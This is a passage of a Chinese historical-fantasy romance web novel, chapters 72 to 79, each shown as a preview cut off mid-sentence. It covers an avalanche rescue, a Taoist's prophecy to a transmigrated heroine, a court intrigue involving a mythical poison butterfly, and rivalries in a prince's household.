最后,他再用双手将腊月春遗留在雪间的根部,重新仔细地掩埋好,这才缓缓起身来,眼睛一直盯着手里的箱子满意的笑着。 而正在他看准了路线准备返回地面时,忽然听到身后“咔嚓”一声响,他迅速回头蹙眉惊道“不好,雪流沙”。 而就在他发声的同时,脚下便已出现了一条裂缝,裂缝蜿蜒越来越大,紧接着,层层叠叠巨大的冰雪块应声而起,顺着山势迅速开始滑动,呼啸而下。同时这种极快的速度在他面前形成一股极强的气浪。 易君浩见状迅速审视周围,想找一处掩体,可哪怕只是一稍大的岩石也根本就不 第七十三章:情敌互怼 寒荒山脚下,紫苏和白芷看到大片大片的雪流沙气势汹汹地呼啸而下,卷起层层气浪。霎时间大惊失色地朝着高空中那个在同时坠落的红点异口同声道“不要……三少……”。 说着,便摊坐在厚厚的积雪里痛哭起来“呜…呜…呜…”。 “快带她们离开”轩辕翰见情况危急,唯恐雪流沙冲击下来会对山脚下的地面造成严重的破坏,立马命令道。 程良眼疾手快,立即用双臂架起地上这两名女子,速速逃离到安全地带,并认真的交待“你们俩就呆着这儿,千万不要靠过去。其他的事,有我们殿下,放心!” 程良正要转身离去,紫苏吸了吸鼻子说“程将军,谢谢你,我们三少…可千万不能有事”。 程良微笑着朝二人颔首后便飞步离开。 此时,轩辕翰仰面朝天,一边往后退到稍安全的地方,一边盯着空中那个飘飘荡荡犹如一纸风筝般的身影。 眼前的雪流沙体宛如一条直泻而下的白色雪巨龙,正以迅雷不及掩耳之势呼啸着向山下冲来,而那道耀眼的红影亦是随之而来。 “准备好了吗?”轩辕翰浓墨般的剑眉下,一双犀利的眼睛紧紧盯着眼前这道红影,程良对其用力点头回应。 “上…”于是两人瞬间气聚丹田,一鼓作气,同时双脚用力点地,紧接着连续一次次点在陡峭山壁可以落脚的支点上迅速借力移动身影飞身而上,朝着那红影所在的高度迅速逼近过去。 半空中的易君浩已经出现了幻觉,感觉自己似已到了天堂,那里四季如春、没有痛楚、唯有无尽的欢愉。 又觉得此刻的身体和灵魂如羽翼般轻松自在,心中一片清明境界。 仿佛饮下了那碗奈何桥上的孟婆汤,竟把他的丫头也在一寸寸忘记。 可一想到他的丫头,他又立刻开始拼命挣扎道“不…丫头…不可以…三哥哥发誓要护你一世周全的…三哥哥不能就这样走…丫头的腿…对了,腊月春…腊月春呢?”说着,他伸手朝着斗篷里摸去“在…在…腊月春还在…它还在”。 峭壁上的大部分支点已被雪流沙破坏,他只能竭尽全力去点那残存的几个极小支点。这才发现,自己体力消耗有多严重,竟已无法将散落的内力凝聚,即使再挣扎也无济于事。 “这样落下去肯定死路一条”他鼓足了求生的勇气,可眼前却只有和自己一同下落的如瀑布般连续不断的雪流沙,他很难办到。再朝下看去,此时距离地面已经没多少高度了。 就在他双目紧闭起想方设法之际,忽然感觉一双手臂向他伸来,瞬间将他牢牢圈住。 渐渐地,他也已不再是仰面朝天平躺着坠落,他的身体渐渐直立起来。 他以为自己又出 现了幻觉,随即眼睛立马睁开。难以置信,眼前出现的竟会是他“是你”。 轩辕翰依旧冷冷地看了他一眼,并没有出声。而另一边的程良挑高了微笑着开口说“谷主大人,久仰大名,终于见到您本尊了”。 话音刚落,三人便安安全全着了地。 轩辕翰即刻撤去了他尊贵的手,易君浩体力不支顺势朝其倾倒了过去,程良用力将其稳住。 接着上下打量着他甚是狼狈的模样,讥讽道“没想到鼎鼎有名的百草谷谷主,竟也会落得如此狼狈不堪之境”。 易君浩听闻瞪了他一眼,冷哼一声便狠狠甩掉了他的手臂,可却又再次顺势倒了下去。 就在这时,紫苏和白芷过来将其稳稳搀起,一齐道“三少”。 紫苏随即上前一步怒道“我说你们俩大男人竟如此厚颜无耻乘人之危。我家三少如果不是为了那个女子,爬上这二千余丈高的悬崖取那腊月春而体力透支,你等又岂会是我家三少的对手”。 “哎…我说你这个女人真的是…”程良刚开口,便被轩辕翰一声哼笑挡了回去。 轩辕翰始终背脊直挺对着众人,只听他冷冷地问道“腊月春可寻得了?”。 这句话明显是问易君浩的,只见易君浩却对他的话一脸不屑道“寻得如何,未寻得又如何,与你有何关系?”。 轩辕翰冷笑一声,随即转过身来,一步一步朝着易君浩身边缓缓靠近,紫苏和白芷见势立刻举起手中的利剑挡在身前做防护之势。 “放下”易君浩看见呵斥道。 紫苏和白芷一同看向易君浩的脸,易君浩随之沉稳地道“誉满灵空的西秦秦王怎么可能是乘人之危之辈,把剑都放下”。 俩人这才听命收了剑,轩辕翰继续逼近到易君浩眼前,低着那张冷峻的脸说“本王知道你已得手,本王也相信这天下只有你才会配出这方奇药,本王亦相信你定会让那丫头的腿疾得以痊愈”。 “那是自然,我易三少自会护丫头一世周全。所以,丫头的事,就不必秦王大驾操心了”易君浩亦是不甘示弱,将头高高抬起却不看他理直气壮的说道。 然轩辕翰始终站在他面前,犹如一尊神邸般一动不动。听到他这话,忽然将头瞥向一边发出一阵渗人的冷笑。 而随后却将脸色迅速沉下,似是比此时这寒荒山的天色更阴更沉。口中充满霸气地说道“本王今日 第七十四章:原是,九星连珠日出生女 “扑哧…扑哧…”程良跟在轩辕翰身后在下山途中边走边时不时地捂嘴,窃笑了一路。 然轩辕翰深黯的眼底充满了平静,始终只顾赶路并未曾看他一眼。 程良见主子丝毫不为他的举止所动容,终忍不住上前小心开口道“殿下方才对那易三少所言,属下真是佩服至极”。 话音刚落,又忍不住笑了起来,轩辕翰这才顿足抬起眉眼来,却只瞪了他一眼,接着又面色沉静如水般继续赶路。 程良这才收了声,不再想方才的情景。然却转移话题又问“对了,殿下怎么确定易三少一定得了腊月春?”。 轩辕翰一双剑眉瞬间舒展开来,笑道“哼…难道方才你没看到本王问他是否有寻到腊月春时,他对本王那一脸的不屑吗?而且当时在空中接到他时,本王就已探过他的脉息,他因攀崖体力已经消耗殆尽;寒荒山遭遇雪流沙必定会破坏腊月春的生存;他自是已经到手了,才会在这种时候还如此傲慢淡定...本王只是没想到,他竟也会因此而不惜自己的生命”。 轩辕翰说着不禁心中微觉触动有些佩服起易君浩来,看来这个人对那丫头也是真心真意的。 “那依殿下所言,这易三少岂不真成了殿下的情敌咯!”程良顿时明白过来,微眯着眼,凝视着轩辕翰口直心快毫无遮拦道。 轩辕翰闻之立刻顿足微微抬眼,眼中闪过一抹渗人的光芒,程良连忙闭紧了嘴,怯怯地躲闪着主子冰冷的眼神。 然轩辕翰却冷冷说道“跟本王争,他还不配”,随即便缓缓转过头去继续赶路。 忽然,他似是想到了什么,再次抬眼吩咐程良“派人盯着衣府,有情况速速禀报”。 “殿下不是说不用盯着衣姑娘吗?”程良有些不明其意,便问。 可当看到轩辕翰再次投来的冷厉的眼神,他只得领命“是,属下遵命”。 然嘴上却勾出一抹弧度,心里暗自嘀咕“明明心里还不就是怕那个易三少对衣姑娘捷足先登,有所企图,以为我不知道…哼”。 夜幕已下,城西衣府后院外的小巷子里。 一个身着青色道袍、一手举着“算命卜卦”布幡,另一手拿着一个铜铃铛不紧不慢的摇着,年近六旬满脸白须的老道儿一边缓缓迈步,嘴里不停的喊着:"算命,算命……”。 一墙之隔的衣府后院里,衣上云正一袭淡黄色衣裙,外披一件厚厚的粉蓝色斗篷,遮着雪白的面纱,静静的站在明月阁门口的走廊上,痴痴的对着东边那面墙发呆。 昏暗的灯火,将她那小巧精致的轮廓照的若隐若现,甚是唯美动人。 丫鬟燕儿陪在一旁,忽然一脸狐疑的问“小姐,燕儿不明白你为何总是有意无意的喜欢对着这 面墙发呆?这面墙有什么问题吗?”。 衣上云回过神来淡淡的笑了笑,正要开口,却被门外似是想故意停留的一阵刺耳的铃铛声惊扰。 燕儿顿时眉头皱起,甚是厌烦地喝声道“这么晚了还走街串巷,这般大动静,吵死人了。以为这里是闹市吗?看我怎么收拾你!”说着,她便迈着愤怒的疾步向着后门走去。 衣上云亦是因这阵吵闹的铃铛声扰乱了心里此时正在琢磨的正事,脸上现出一丝不悦微微摇了摇头。 “吱呀”一声,衣府的后门被丫鬟燕儿打开来。 “喂…我说你这老道儿,你是瞎子吗?大晚上的是怎么回事?你抬头看看这天,都什么时候了,还在这胡同巷子里瞎晃。又是胡乱叫喊,又是晃铜铃的。这黑灯瞎火的,你就不怕遇到坏人啊?!哼…”燕儿一出门便气势汹汹的说完这段话,之后双手叉腰气呼呼地站着对那老道儿鼻子一哼。 老道儿这才缓缓抬起头来看了看天色,与燕儿理论道“哎,我说这位小姑娘,这就是你的不对了,现在这时辰最多也不过刚过了晚饭时间。这我走我的阳关道,你过你的独木桥,我们互不相干。你为何一开门出来便骂我是瞎子,还胡乱教训我老道儿一通呢?”。 燕儿见这人不但不知错,反而还强词夺理,便越发地愤怒,瞪大了眼睛更没好气的说“谁让你故意在我家门前如此大喊大叫,惊扰到我家小姐”。 “你家小姐?”青袍老道儿一边说,一边眼睛透过门缝向着院子里面探去。 “你看什么看,小心我喊我家老爷来,好生教训你一顿。若不想受皮肉之苦,还不识相点速速离开?!”燕儿一边说着一边急急张开来双臂挡住他看向的方向。 就在这时,衣上云闻声出来走到燕儿身旁。 “小姐,你怎么来了?”燕儿问,而那老道儿此际却像是见到了神明般惊恐地上下打量着眼前这位心慈目善的衣府小姐。 “没事儿,让我来”衣上云见燕儿与老道儿久久僵持不下,便出来一探究竟。 “道长,真是不好意思。我家丫鬟年纪小不懂事,方才有得罪之处,还望道长大人有大量,不要跟她计较”衣上云笑着向其致歉。 “哼…这还差不多”老道儿闻言迅速回神,看其神色对眼前的女子已是心中有数,便颇为满意的说道。同时伸出手捋起那满脸长长的白须来,燕儿在旁扶着衣上云始终瞪大着眼睛警觉的看着他。 “天色也不早了,外面天寒地冻的,我这儿有些银子,道长且收下,到前面小铺吃些热食便快快回家歇着吧”说着,衣上云从袖中掏出一包银子递到老道儿手中。 燕儿看到极不情愿,嘟着小嘴用力拽 第七十五章:躯体上的神秘封印 “哼…冰天雪地罚跪所致,怕是用不了多久便是要废了…”衣上云看着自己近来感觉愈来愈不好的双腿冷笑一声说道。 老道儿一惊,本已急急伸出手去想要以其浑厚的内力为其医治,驱散寒毒。却又瞬间似是预感到什么,继而将手缓缓收回,神色也恢复了正常。 凝神稍作掐算后,这才安慰她道“小姐不必忧心,已有贵人帮你寻到良药,你的腿不日便会恢复”。 “怎么可能?除非回到我的时空,尚还有痊愈的可能,否则…”衣上云心灰意冷绝望地认定自己的腿定是要废了。 老道儿听了她的话笑着摇摇头,捋着胡须思量了片刻,开口道“小姐一心想要回去自己的时空,可若小姐的灵魂回去了你的空间,那这个躯体该怎么办?”。 “这个躯体?”衣上云这才想起原主来,她还真没想过这个问题。随即抬起头看着老道儿喃喃重复道。 老道儿继而严肃地对她说“如今,这个躯体原本的灵魂已然离去,但她的责任和使命却永远被封印在这具躯体里。但凡进入这具躯体的灵魂就一定要势必完成她的责任和使命方才能得以解脱,除非……”说着却欲言又止。 “道长说责任和使命…那是什么意思?什么责任?什么使命?”衣上云听了心里微微一刺,顿时深深蹙眉,疑惑地问。 老道儿顿了一下,接着有些意味深长地说“九星连珠,千年难得一遇,本就是个非常罕见的时刻。而正如小姐之前所闻,在这个时刻出生的人,不是你选择了独特的人生,而是有一份特殊的责任和使命选择了你。所以,是上天选择了小姐,亦是上天注定了小姐的此生,必是一个非同寻常的人生。除非…但现在已是木已成舟,避无可避”。 “不,怎会避无可避?道长方才不是说除非,除非什么?”衣上云怎么可能愿意永远被困在这个时空中,忽想起老道儿方才的话尾便着急地问。 老道儿依旧捋着白须,轻叹了口气,说“除非小姐不遇上一个人?”。 “不遇上一个人…什么人?”衣上云迫不及待地问。 然老道儿似是一脸无奈的将双目闭起,深吐一口浊气后说“贫道方才已经说了,小姐如今已是避无可避,一切都为时已晚,那个人,小姐已经遇到了!”。 衣上云低头迅速搜索着记忆里他在这里认识的每一个人,那个人到底是谁?这个被封印在原主躯体内的责任和使命又到底是什么呢? 就在她准备抬头想问更多线索时候,耳边再次响起老道的声音“命里有时终须有,命里无时莫强求、因果轮回、百世契约、花开花落、既来之则安之”。 闻此警言,衣上云迅速将头抬起,可那老道儿竟不知 何时已凭空消失,不见了踪影。只有他离开时留下的最后这段话,久久回荡在衣府后院的上空。 她心中顿感惊慌万分,还有很多事没弄明白。 于是急急朝四下里张望,而就在青袍老道儿方才站脚的位置,只见掉落着一包熟悉的沉甸甸的银子。 衣上云朝其满脸出神地望着…… 这时,燕儿看到衣上云独自跌落在地,急急关好后门跑过来将其扶起,又帮她拍拍身上的灰尘。这才朝四下里寻了寻,问道“小姐,那老道儿人呢?”。 而衣上云刚在这么短时间内,接收到太多令自己意外的信息,显然已不得反应,尽现一副像被掏空了灵魂的躯壳。 “哎呀,小姐的手怎么这么凉?”一不小心,燕儿触到她的手指惊道,见衣上云如此失魂落魄着,便急急将其搀扶回房。 到了明月阁的阁楼,燕儿紧忙倒了杯热茶递到衣上云面前关心地说“小姐赶快饮下这热茶暖暖身子”。 “燕儿,燕儿...呜呜呜...”谁想自从院子里进来,至今一直都一脸呆愣着的衣上云,并没有接燕儿递来的茶杯,而是一把紧紧地抱住了立在她面前正嘘寒问暖贴心侍候着的燕儿,大声痛哭了起来…… “好了,小姐,不要怕,没事了,没事了...”燕儿见她此刻哭的如此伤心,还以为是方才被老道儿所惊吓,便一边说着,一边用她的小手轻拍衣上云的后背给予安慰。 可谁知,衣上云竟会如此伤心,竟哭了很久很久...... 终于在稍微缓和了些的时候,依旧抱着燕儿一边抽噎着一边说“燕儿,我的好燕儿,我回不去了,再也回不去了...”。 燕儿有些纳闷不解其意,只当是那老道儿对她家小姐做了什么让其甚是后怕的事,于是便安慰道“小姐别怕,燕儿在呢,小姐已经回到明月阁了,没事了,别怕啊,燕儿在,燕儿陪着小姐,以后再也不会离开小姐半步”燕儿说着,心里后悔极了方才没有执意陪在衣上云身边侍候。 紧接着,燕儿又开始狠狠啐道“真是个可恶至极的混蛋老道儿,竟如此吓唬我家小姐,下次若再让我碰到,非抓他见官不可...不...一定要扒了他的皮才行”。 终于,衣上云慢慢止住了哭声,抬起手背来擦两边的泪痕,燕儿看见急忙拿出绣帕。 然衣上云吸了吸鼻子,一本正经的对燕儿说“燕儿,还记得我对你说过‘其实,我不是 第七十六章:冰美人蛊毒 唯美浪漫的粉紫色渐变轻纱帐内,一扇灼灼桃花的木质屏风里,昏暗的烛火下,映出一副刚刚出浴活色生香的美人图来。 浴盆里尚还冒着袅袅热气,清水面上漂浮着朵朵沁香扑鼻的红色花瓣。 烟雾缭绕下,美人儿一双玉足踩着柔软厚实的毯垫正站在浴盆边上,浑身散发出来淡淡的花香澡豆味,腰肢纤细,四肢纤长,尽透出优美的脖颈和好看的锁骨,宛若仙子般气质脱俗。 许是热水温度的影响,全身嫩滑细腻的皮肤泛着微微的粉色,犹如一朵粉嫩盛开的出水芙蓉般亭亭玉立着。 皙白的身子一丝不挂呈现出一副凹凸有致的曼妙身姿,状若含苞待放的蓓蕾。这几日在衣府里好生养着,竟也长出了一些肉来,不再像宫里时那般清瘦,便更加迷人了。 肤如凝脂、雪白中又透着粉红,嫩的似乎能挤出水来。十指纤纤正撩拨着那一头随意散落下来的如瀑长发,落发半遮起那副娇小、可人、洁白的身子。 此刻,摘掉了纯白面纱的遮掩,露出一脸的潮红,额上沁出细密的汗珠,浓黑弯弯的眉毛下,一对犹如布偶娃娃般细长的睫毛,紧贴着那对迷人的凤眼,小巧的鼻梁下皓齿红唇,娇艳欲滴,让人看一眼便再也不舍得将目光移走。 “小姐可真美!”丫鬟燕儿动作伶俐的执着一条柔软的布巾一边帮其擦干身上的水珠,一边轻声说道,衣上云一听羞红了脸。 跟着,她又拿起件质地柔软的藕粉色绣着彩蝶双飞花纹的丝绸亵衣,帮其裹紧那对如雪般美好的双乳,最后再套上一件素色寝衣,这才徐徐道“小姐仔细着凉了,我们进去吧”。 说着,便紧忙扶她走到了床榻边,躲进早已铺好温暖舒适的锦被里。 接着,燕儿端过去一杯热度正好的温水让其饮下后,才帮其捻好被角,又缓缓放下床头的紫色幔帐压好了。 最后俯身下去在她耳边轻柔地说道“小姐,安心睡吧!”这才缓缓起身退了出去将门轻轻掩上。 燕儿退去,只剩一室寂静。而衣上云又怎能安心睡去,今夜,定是个不眠之夜了。 她静静地躺在榻上,双臂从后面环绕抱着脑袋,一双好看的凤眼睁的大大的直视着上方,眼前一幕幕浮现出的全都是那老道儿的画面,尤其是他说的那些似是警言般又不知其所云的话: “九星连珠时刻出生的人,有一份特殊的责任和使命选择了你” “她的责任和使命却永远被封印在她的这具躯体里。但凡进入这具躯体的灵魂就一定要势必完成她的责任和使命方才能得以解脱” “命里有时终须有,命里无时莫强求,因果轮回,百世契约,花开花落,既来之则安之” .... .. 细细思量了半天,依旧参不透其中半分,于是她自言自语道“到底是什么样的责任使命?又除非什么?我到底遇到了哪个不该遇到的人?难道真的一切都已经晚了,真的要一世困在这个不知名的时空里再也回不去了?”。 沉默了片刻,她的眼睛微微一眨,忽然说了句“魏明轩,难道我真的就要这样失去你了?!”。 而此时,西秦城南一片烟花柳巷聚集之地,万娇阁里,却是莺歌燕舞、千娇百媚、声色犬马、人声鼎沸,热闹异常。 “主子,东西到了!”一名身着黑衣的侍卫双手捧着一个用黑布遮掩着的不知道什么东西,神神秘秘地进来跟拓跋泽禀报。 “哦?!快拿来看看”此时,正依窗而立凝视着对面窗口发呆着的拓跋泽一听到这话,便立刻转身过来惊喜道。 “是”侍卫一边答应着,一边将手里的东西轻轻放在他身旁的案几上,随即一把除去了上面遮掩着的黑布。 夜已经很深了,案上的烛火发出的微弱的光线完全不足以让他看清楚眼前的东西,他不禁皱了皱眉,侍卫见了立马又掌了更亮的烛火过来靠近。 只见那遮掩着的原来是一个透明的琉璃瓶,瓶中似是有什么活物。不知是那活物自身发出的极轻的响声,还是活物撞击琉璃瓶后所发出的响声。 明亮的烛火照射下,只隐隐约约看见有些类似灰尘一样的东西在瓶中弥漫漂浮飞舞着,又像是被什么扇动起来的一般,可却始终看不到任何颜色和轮廓。 拓跋泽眉头顿显皱的更紧了些,他伸手接过侍卫手中的烛火,亲自掌着靠近琉璃瓶,护卫随即又取来更多的烛火将琉璃瓶四周全部照亮,这才看了清楚。 只见被烛光照的透亮的琉璃瓶中,隐隐约约现出一个貌似蝴蝶的轮廓来,它正挥舞着翅膀展露着优美的舞姿。如果不是因为其身上的黑色脉络勾勒出蝴蝶的轮廓,任谁都看不出这真是一只完全透明的蝴蝶。 侍卫一时间惊叹“原来这就是传说中,在灵空大陆外遥远的北极冰海地带,被称做冰美人的神蝶。果真名不虚传”。 拓跋泽亦睁大了眼睛惊喜道“早就听闻冰美人是天下至寒之物。体长一尺有余,伴随着冬天的飘雪破蛹而出,以冰花为食,拥有像水晶一样晶莹剔透的身体和薄薄的翅膀,飞舞时挥动双翅便会撒落点点冰花,冰花落地便能散发出七彩的光辉。如今一见,果真和传说中的一模一样”。 “快去把老鸨叫来”侍卫领命立刻退去。 “殿下这么晚唤老身过来,不知所为何事?”老鸨很快便被传过来面见。 “你可认得此物?”拓跋泽一手放在琉璃瓶上,另一手伸出将那盏明亮的烛火 递向老鸨。 老鸨上前接过,拓跋泽随即将抚在琉璃瓶上的手收回负于身后,老鸨这才靠近到琉璃瓶前仔细端详。 &nb 第七十七章:嫡公主,会不会是她? 窗外,一片月朗星稀恬静的冬夜。看来,明日除夕一定是个好天气。 而今夜,却是有人欢喜有人忧着…… 确切的说,除了衣上云因为傍晚一个似是从天而降的神秘老道儿的出现,说了许多让她内心澎湃又似懂非懂的话,致使她今夜满腹心事,一夜无眠外,其他人仿佛都是欢喜的。 拓跋泽因看到了自己蓄势已久的阴谋即将得逞的曙光而满心狂喜着; 轩辕翰和易君浩历尽艰难险阻,因为寻回了能治愈心爱之人腿疾的神草而欢喜着; 紫苏和白芷因为轩辕翰关键时刻的及时出现使他们的主子得以平安归来而欢喜着; 远赴东宁,谈判轩辕玥与东宁三皇子梅志煊和亲事宜的使臣不日便会回国。所以,西秦皇宫里,轩辕玥此刻亦是满心欢喜地等待着; 万娇阁里,玉娘因结识了北烈大商人拓跋泽,使她距离寻回夫君又更近了一步,她亦是满腹欣喜地期待着; 就连梅汐媛和陆天骄也因达成了合力抗敌的同盟合作共识而欢喜着; 而此时,西秦国东南部一处隐蔽幽静的民宅里,东宁国三皇子梅志煊正微微俯身于面前的书案,一手捏着眉心,似是在闭目养神,又似是在思考着什么。 他一袭淡雅锦袍、墨发玉冠、脸上的线条极其完美、浑身散发出一股尊贵之气。 自从完成了梅汐媛的送嫁任务后,他们并未真正返回东宁,而是佯装出城半路又折回来此处悄悄安顿下来。 此时,忽然进来一个侍卫禀道“殿下,国君的飞鸽传书”。 梅志煊随即抬眼,伸出骨节分明的一只手来接过信打开,可看着看着不经意间眉头竟皱了起来。 “可是东宁发生了什么事?”侍卫见其面露不悦随即问道。 梅志煊很快已将信看完,一边起身来借助书案上的烛火将其烧毁,一边有些忧虑地说“不是东宁,是西秦”。 “西秦?可我们现在就身在西秦啊,况且公主至今并未传来与西秦有关的什么有价值的消息。西秦太子中毒的事,我们已经查明是北烈大皇子拓跋泽指使所为,我们也已经派人盯上他了呀”。 稍加沉默后,梅志煊开口说“是西秦国派使臣向父皇商讨再次和亲事宜”。 侍卫疑惑“再次和亲?我们不是刚把公主嫁到了西秦,还要和亲?有这个必要?这次又是……” “上次是我们自愿牺牲永乐公主,将她作为一颗棋子与细作安插到西秦来,传递信息和瓦解他们。不过这次……是西秦主动自己要送上他们的公主与我国联姻”梅志煊言语间似有些不悦。 “难不成我们的计划被西秦识破,如今西秦皇帝要以同样的方式来对付我东宁!?”侍卫忧心。 “ 历史上自古和亲的目的大都相同,这个都是大家各自心知肚明的事,只不过是最终结局各不相同罢了。只是…这次西秦国特意指明了他们要和亲的对象…是本皇子”梅志煊说完,有些黯然之色现于脸上。 侍卫听了却很是高兴“这是好事啊,殿下多年来一直为国事操劳、替国君分忧、早过了弱冠之年、是时候身边该有个妃子侍候了。你看二皇子,早都已经妻妾成群了。还以此向殿下耀虎扬威的,甚是气人”。 说到这里,侍卫顿了一下,偷偷的瞄了眼主子,有些怯懦得靠近到其身边压低声说“殿下,就连二皇子底下的那帮奴才都偷偷在暗地里说‘该不会是殿下你有什么难言之隐吧’我们心里特别为殿下窝火呢”。 “混账!竟然背后如此议论主子”梅志煊狠狠一掌拍在面前的书案上怒道。侍卫吓得顿时退后低下头来。 然他仍厉声接着道“本皇子怎会是二皇子那等荒淫无度、虚度光阴之辈。好男儿大好年华,却只知整日里沉迷于美色和享乐之中,成什么样子?”。 “殿下说的是,可殿下也不能终身不娶啊,如今就连比殿下小两岁的永乐公主都已经出嫁了”侍卫仍是关切着。 这时,梅志煊语气慢慢恢复了温和,却带着些许忧愁说道“本皇子至今都没有寻到嫡母后离世的真正缘由,亦没有打探到她那流落民间独女的半分消息,哪里有心思顾及这些儿女情长”。 说完,甚为懊恼的深叹了口气。 半天后,又悠长的说“那个可怜的孩子,可千万不要出什么事,那可是嫡母后留在这世上唯一的血脉了”。 侍卫听了连忙安慰道“嫡皇后生性善良、菩萨心肠。十几年前那场肆虐我整个东宁,几乎要亡我东宁的疟疾大疫中,嫡皇后医救了整个东宁国众多苦难百姓的生命,嫡皇后也因此由一个无亲无故可怜的小小庶民受国君盛宠,最终荣登嫡后之尊。上天庇护,嫡皇后保佑,相信嫡公主一定不会有事的,殿下且宽心,我们一定能找回嫡公主的”。 听了侍卫这席话,他心里似没那么紧张了,眉头也渐渐舒展开来,随即问“嗯…希望如此。那对夫妇后来的去向还没打探到吗?”。 “时间跨越太久,而且事情发生在荒郊野外,很难找到知情人。不过,我们也不会放弃,还在找呢?”侍卫有些无奈,却也没有绝望。 忽然,梅志煊眼睛抬起说“其 第七十八章:白莲花正式入住秦王府 黑夜总会过去,黎明终将来临。 第二日一大早,秦王府韶华阁里。 梅汐媛正坐在铜镜前精心梳妆着,一袭玫瑰紫色华服衬得整个人气度高贵、雍容不俗;额上贴着朵耀眼的紫金花钿,厚厚的耳垂上坠一副碧玉老南红梅花流苏耳环,摇曳着熠熠光芒;举手间腕上那淡淡的粉紫玉镯,让人看了有种说不出的舒服。 “王妃娘娘该用早膳了,陆小姐已经在外等候多时”穿戴完毕,替其梳妆的贴身陪嫁婢女便催促着早膳时间已到。 “好了,走吧!”经过对这华贵的脂粉衣裳严格审视是否周全后,她方才缓缓起身,迈着细碎的步子在婢女的搀扶下走向了暖阁的食案前。 “给梅姐姐请安!梅姐姐今日格外好看”陆天骄见梅汐媛盛装出来,立刻屈膝恭维讨好道。 “妹妹快请起,你我既已是姐妹,日后便无需如此拘束。快快坐下来,肚子一定饿了吧?”梅汐媛一边说,一边拉起陆天骄的手落座。 刚一坐下,便笑着开口“赵嬷嬷,以后到了用膳时间,便吩咐人侍候妹妹先用,无需等本王妃一道,莫要把妹妹饿坏了。自今日起,妹妹日常里用的东西,也一定得给她最好的,绝不得怠慢”。 “是”赵嬷嬷话音刚落,陆天骄莞尔一笑说“姐姐不必麻烦,妹妹等姐姐一道,有人陪着,妹妹还能多吃点呢?”。 梅汐媛听了心里觉得舒服,心想,算你识相,还知道这秦王府始终还是以我为尊的。 于是,她轻笑一声说“那妹妹就一定要多吃点,否则等回到学院,令尊会埋怨殿下和姐姐我对妹妹苛刻,照顾不周的”。 说着,她目光投向身旁垂手侍立的婢女,示意其帮陆天骄盛饭。梅汐媛则继续乐道“妹妹快试试这道粥可还喜欢?这在我们东宁叫做女儿粥,是无论宫廷还是民间都日日必食的一道吃食,它是将圆糯米、黑糯米,再加绿豆、红豆、红枣、桃仁、花生、莲子、桂圆、松籽仁、山药、百合,枸杞、薏仁等一起小火慢熬至酥烂,最后再加以冰糖辅料添味而成”。 说话间,一碗热气腾腾,清香扑鼻的女儿粥就摆在了陆天骄面前。 “谢姐姐”陆天骄客气地致谢后,尝了一口赞道“嗯…软糯香甜,口感清新,真的很好”。 “妹妹喜欢便好,再尝尝这个蟹黄汤包。这道面点皮薄、鲜香,汤到口中,不咸不淡,味道适中。汤水入肚,口中仍残留一丝余香,让人回味无穷。相信一定不会让妹妹失望,妹妹快试试”梅汐媛一脸陶醉的边说,亲自动筷将宛如一朵饱满圆润、干瓣紧裹、含苞欲开的玉菊般给人以美白如雪、晶莹剔透、吹弹欲裂的蟹黄汤包夹到了陆天骄的碗碟里。 之后还 不忘嘱咐“对了,吃这个蟹黄汤包一定要记得‘轻轻提、慢慢移、先开窗、后吃汤’妹妹慢慢享受这美妙品尝过程中的情趣吧”。 陆天骄顿时一脸新奇和懵懂,只觉得眼前这东宁公主果真是极尽奢靡,名副其实的金枝玉叶。就这满满的一桌早膳怕是够普通百姓家好多天的柴米油盐了。 虽不被轩辕翰待见,可梅汐媛在衣食住行上倒也丝毫不亏待自己,每日里尽是奢华的锦衣玉食侍候着。 看着陆天骄也都吃上了,赵嬷嬷这才开始侍候起梅汐媛来。 一看到赵嬷嬷,梅汐媛笑容渐渐淡去,开口问“殿下还未回府吗?”。 “王妃娘娘,殿下昨晚半夜的时候和程将军一道已回到府里了”赵嬷嬷答道。 “哦?竟已回府。看来我们的殿下还知道今日是什么日子!”梅汐媛以为她大婚后的第一个除夕夜又要独自入宫了,却没想轩辕翰竟回来了,心里不免生出一丝淡淡的期许。 微微一笑后,又问“可有探到殿下昨日到底去了哪里?做了什么?”。 赵嬷嬷依旧只微微对其摇头,只见梅汐媛脸上刚刚浮起的一抹浅浅的悦色随之瞬间褪去。 陆天骄看见笑吟吟的开口道“今日除夕夜,按照惯例姐姐要与殿下同乘一车,一道入宫与皇家齐聚。姐姐到时何不以此亲自向殿下以示关怀。一来看他将如何作答,亦可借机增进彼此间的情分,岂不更好?”。 一语惊醒梦中人,梅汐媛顿时茅塞顿开。 确是一直以来自己与轩辕翰独处的时间并不多,沟通太少。许多事情都是她不问,他便也不说。 那样冷的一个人,她若不问,许是他一生都不会提及吧。所以,两个人才会越走越远。 或许她真的该耐下心来守着等着,或许总有一天,她一定会走进他的心里,一切就会有所不同。 今夜,却是难得的一个机会,梅汐媛这才展颜笑了笑,道“妹妹所言极是,是姐姐大意了”。 接着,俩人互相凝视着笑了起来。 承华殿里,轩辕翰墨发玉冠正一袭锦白长袍端坐在书案边,手里捧着一个宝蓝绸缎上嵌着几枝白梅的香囊,轻轻靠近鼻翼陶醉其中着。他深邃的眸子微微眯起,嘴角现出一抹好看的弧度,此刻显得极尽温柔。 那原本就淡淡的药草香味如今已经越发无味了,可他却始终都爱不释手。只因它是制这香囊的人花费了许多心思也很离奇不易地才到了自己的手中。 “殿下,王妃娘娘和陆小姐来了”程良看见似是极不愿打扰他,故小心翼翼的走进来禀道。 听到程良的声音,他方才慢慢缓过神来抬起头,顿时恢复了平素的一脸冰冷。 就在这时,梅汐媛和陆天骄一道缓 &nb 第七十九章:既生汐,何生云 “姐姐…姐姐…”陆天骄在承华殿到韶华阁的回廊上一边喊一边疾步追着。 而前面满脸乌云密布的梅汐媛似是根本没听到她的急呼声,只自顾自咬牙切齿地往前走,眼里尽是满满的委屈和愤怒。 她想,为什么轩辕翰要一次又一次地践踏她的自尊和骄傲,她的种种好心好意却为何换回的总是他无情的训斥或忽视。 她也曾不止一次的说服自己要忍耐,要给彼此时间和空间来慢慢接纳对方。可眼下,她就是无论如何都咽不下这口冤气。 陆天骄见梅汐媛此时显然已怒不可遏,随即放眼朝四下里张望了下,见并无他人,便忽然停下了追逐的脚步,提醒道“姐姐,妹妹知道殿下方才为何大怒?”。 梅汐媛闻此,这才停了下来,极力在她面前维持着自己的风度,头也不回地蹙眉背对着她冷冷地问“你知道?”。 陆天骄终于轻叹口气,随即快步追了上去到梅汐媛身旁,微微眨了下眼睛,认真地说道“姐姐实在不该碰那个香囊的”。 “此话怎讲?”梅汐媛不解的问。 